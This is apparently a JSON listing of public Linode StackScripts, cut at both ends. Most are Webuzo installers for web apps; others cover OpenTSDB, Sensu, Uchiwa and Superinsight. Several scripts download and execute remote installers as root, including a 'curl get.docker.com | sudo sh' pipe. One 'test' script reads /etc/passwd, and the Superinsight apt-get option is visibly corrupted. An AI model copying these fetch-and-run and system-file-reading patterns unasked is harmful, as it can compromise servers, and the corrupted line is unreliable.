(Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure phpLiteAdmin and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "phpLiteAdmin powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install phpLiteAdmin and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About phpLiteAdmin :\n# phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \n###########################################################################################################\n\n# Install phpLiteAdmin Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=431&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling phpLiteAdmin and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, phpLiteAdmin has been successfully installed\"\necho \" \"\necho \"You can now configure phpLiteAdmin and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14366, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-opentsdb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs OpenTSDB from source\n#\n# Provides:\n# - HTTP (TCP/4242)\n#\n# Dependencies:\n# - HBase (TCP/9000)\n# - ZooKeeper (TCP/2181)\n##\nset -eux\n\nsource env.sh\n\n# Install dependencies\napt-get install -yq openjdk-7-jre-headless\n\n# Install OpenTSDB\ncd /tmp\n\ncurl -sOL https://github.com/OpenTSDB/opentsdb/releases/download/v${OPENTSDB_VERSION}/opentsdb-${OPENTSDB_VERSION}_all.deb\ndpkg -i opentsdb-${OPENTSDB_VERSION}_all.deb\n\n# Create tables in HBase\nexport HBASE_HOME=/opt/hbase\nexport COMPRESSION=NONE\n\n/usr/share/opentsdb/tools/create_table.sh\n\n# Configure OpenTSDB\ncp $BASE_PATH/etc/opentsdb/opentsdb.conf /etc/opentsdb\n\n# Start OpenTSDB\nservice opentsdb start", "user_defined_fields": []}, {"id": 705310, "username": "dmc3", "user_gravatar_id": "3661544ff6045ff4ba8e4be7ac9c5819", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "test", "script": "#!/bin/bash\n\ncat /etc/passwd", "user_defined_fields": []}, {"id": 8991, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Drupal powered by Webuzo", "description": "Drupal is an open-source platform and content management system for building dynamic web sites offering a broad range of features and services including user administration, publishing workflow, discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies and XML publishing for content sharing purposes.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Drupal and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Drupal powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Drupal and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Drupal :\n# Drupal is an open-source platform and content management system for building dynamic web sites \n# offering a broad range of features and services including user administration, publishing workflow,\n# discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies \n# and XML publishing for content sharing purposes.\n###########################################################################################################\n\n# Install Drupal Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=30&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Drupal and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Drupal has been successfully installed\"\necho \" \"\necho \"You can now configure Drupal and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9247, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "UIkit powered by Webuzo", "description": "UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\r\n\r\nUIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, easy to customize and extendable.\r\n\r\nUIkit is open source and MIT licensed. It is absolutely free of charge and you can use, copy, merge, publish and distribute the framework without any limitations.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure UIkit and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "UIkit powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install UIkit and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About UIkit :\n# UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\n# UIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, \n# easy to customize and extendable.\n###########################################################################################################\n\n# Install UIkit Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=471&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling UIkit and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, UIkit has been successfully installed\"\necho \" \"\necho \"You can now configure UIkit and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14367, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu-flapjack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Flapjack handler for Sensu\n#\n# Dependencies:\n# - Redis provided for Flapjack\n# - Sensu server\n##\nset -eux\n\nsource env.sh\n\ncd /tmp\n\ngit clone git://github.com/sensu/sensu-community-plugins.git\ncp sensu-community-plugins/extensions/handlers/flapjack.rb /etc/sensu/extensions/handlers\n\ncp $BASE_PATH/etc/sensu/conf.d/flapjack.json /etc/sensu/conf.d", "user_defined_fields": []}, {"id": 11040, "username": "zhangfan", "user_gravatar_id": "6378c7beab2f878c31ff5c112efbd437", "label": "StackScript", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian6"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!StackScript", "user_defined_fields": []}, {"id": 14368, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-uchiwa", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs Uchiwa, a multi-datacenter dashboard for Sensu\n#\n# Provides:\n# - HTTP (TCP/8010)\n#\n# Dependencies:\n# - Sensu API\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/install-sensu.sh\n\napt-get install -yq uchiwa\n\ncp $BASE_PATH/etc/sensu/uchiwa.json /etc/sensu\n\nupdate-rc.d uchiwa defaults\n\nservice uchiwa restart", "user_defined_fields": []}, {"id": 764448, "username": "br01fox", "user_gravatar_id": "aed368e47ef5ba2d07e560d71868f8b5", "label": "Slackware is fun ", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Slackware", "script": "#!/bin/bash\n\nSlackware is fun.", "user_defined_fields": []}, {"id": 8993, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "AbanteCart powered by Webuzo", "description": "Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online business and sell products online quick and efficient.\r\n\r\nAbanteCart application is built and supported by experienced enthusiasts that are passionate about their work and contribution to rapidly evolving eCommerce industry.\r\n\r\nAbanteCart is more than just a shopping cart, it is rapidly growing eCommerce platform with many benefits. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure AbanteCart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "AbanteCart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install AbanteCart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About AbanteCart :\n# Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online \n# business and sell products online quick and efficient. \n###########################################################################################################\n\n# Install AbanteCart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=389&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling AbanteCart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, AbanteCart has been successfully installed\"\necho \" \"\necho \"You can now configure AbanteCart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9249, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SiteCake powered by Webuzo", "description": "SiteCake is a drag and drop CMS for simple websites. It lets you publish the content just by dragging it to your web page. It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\r\n\r\nSiteCake was designed to be simple enough for a designer to integrate it on their own, without a need to hire a developer. SiteCake was designed to be simple enough for a site owner to change some text, swap some photos and add a video on their own, without a need to hire a web editor.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SiteCake and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SiteCake powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SiteCake and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SiteCake :\n# SiteCake is a drag and drop CMS for simple websites.\n# It lets you publish the content just by dragging it to your web page.\n# It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\n###########################################################################################################\n\n# Install SiteCake Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=480&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SiteCake and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SiteCake has been successfully installed\"\necho \" \"\necho \"You can now configure SiteCake and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8994, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites \n# and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made \n# Joomla the most popular Web site software available. Best of all, Joomla is an open source \n# solution that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=413&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193763, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Superinsight One-Click", "description": "Superinsight One-Click app", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/bash\n\n## REQUIRED IN EVERY MARKETPLACE SUBMISSION\n# Add Logging to /var/log/stackscript.log for future troubleshooting\nexec 1> >(tee -a \"/var/log/stackscript.log\") 2>&1\n# System Updates updates\napt-get -o Acquir1234::5678orceIPv4=true update -y\n## END OF REQUIRED CODE FOR MARKETPLACE SUBMISSION\n\n# Install docker\ncurl -fsSL get.docker.com | sudo sh\n\n# Creating Password\necho \"Superinsight setting up password....\"\nADMIN_PASSWORD=$(openssl rand -hex 12)\nNODE_IP=$(hostname -I | cut -f1 -d'' '')\necho \"Downloading and Installing Superinsight instance......\"\n\n# Install Superinsight\ndocker run \\\n--detach \\\n--name superinsight-db-standalone \\\n--restart always \\\n-p 5432:5432 \\\n-v vol-superinsight:/db \\\n-e SUPERINSIGHT_USER=admin \\\n-e SUPERINSIGHT_PASSWORD=\"${ADMIN_PASSWORD}\" \\\nsuperinsight/superinsight-db-standalone:latest\n\n\n# Print instructions\ncat << EOF > /etc/motd\n\n################################################################################################################################################\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSUPERINSIGHT\n################################################################################################################################################\n\nSuperinsight created the user admin with password: ${ADMIN_PASSWORD}\nYou can can connect using a database client with the following connection string postgres://admin:${ADMIN_PASSWORD}@${NODE_IP}:5432/superinsight\nFor complete source code and information, visit: https://github.com/superinsight/superinsight-db\n\n################################################################################################################################################\nEOF", "user_defined_fields": []}, {"id": 8996, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB powered by Webuzo", "description": "MyBB is a free bulletin board system software package developed by the MyBB Group. \r\n\r\nA lot of thought has gone into the MyBB interface to make it easy to use. MyBB uses a standard discussion board structure, so your visitors will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MyBB and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MyBB powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MyBB and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MyBB :\n# MyBB is a free bulletin board system software package developed by the MyBB Group.\n###########################################################################################################\n\n# Install MyBB Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=36&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MyBB and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MyBB has been successfully installed\"\necho \" \"\necho \"You can now configure MyBB and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9252, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Pebble powered by Webuzo", "description": "Pebble is a lightweight, open source, Java EE blogging tool. It''s small, fast and feature-rich with unrivalled ease of installation and use.\r\n\r\nBlog content is stored as XML files on disk and served up dynamically, so there''s no need to install a database. All maintenance and administration can be performed through your web browser, making Pebble ideal for anybody who is constantly on the move or doesn''t have direct access to their host. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Pebble and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Pebble powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Pebble and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Pebble :\n# Pebble is a lightweight, open source, Java EE blogging tool.\n# It''s small, fast and feature-rich with unrivalled ease of installation and use.\n###########################################################################################################\n\n# Install Pebble Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=429&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Pebble and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, 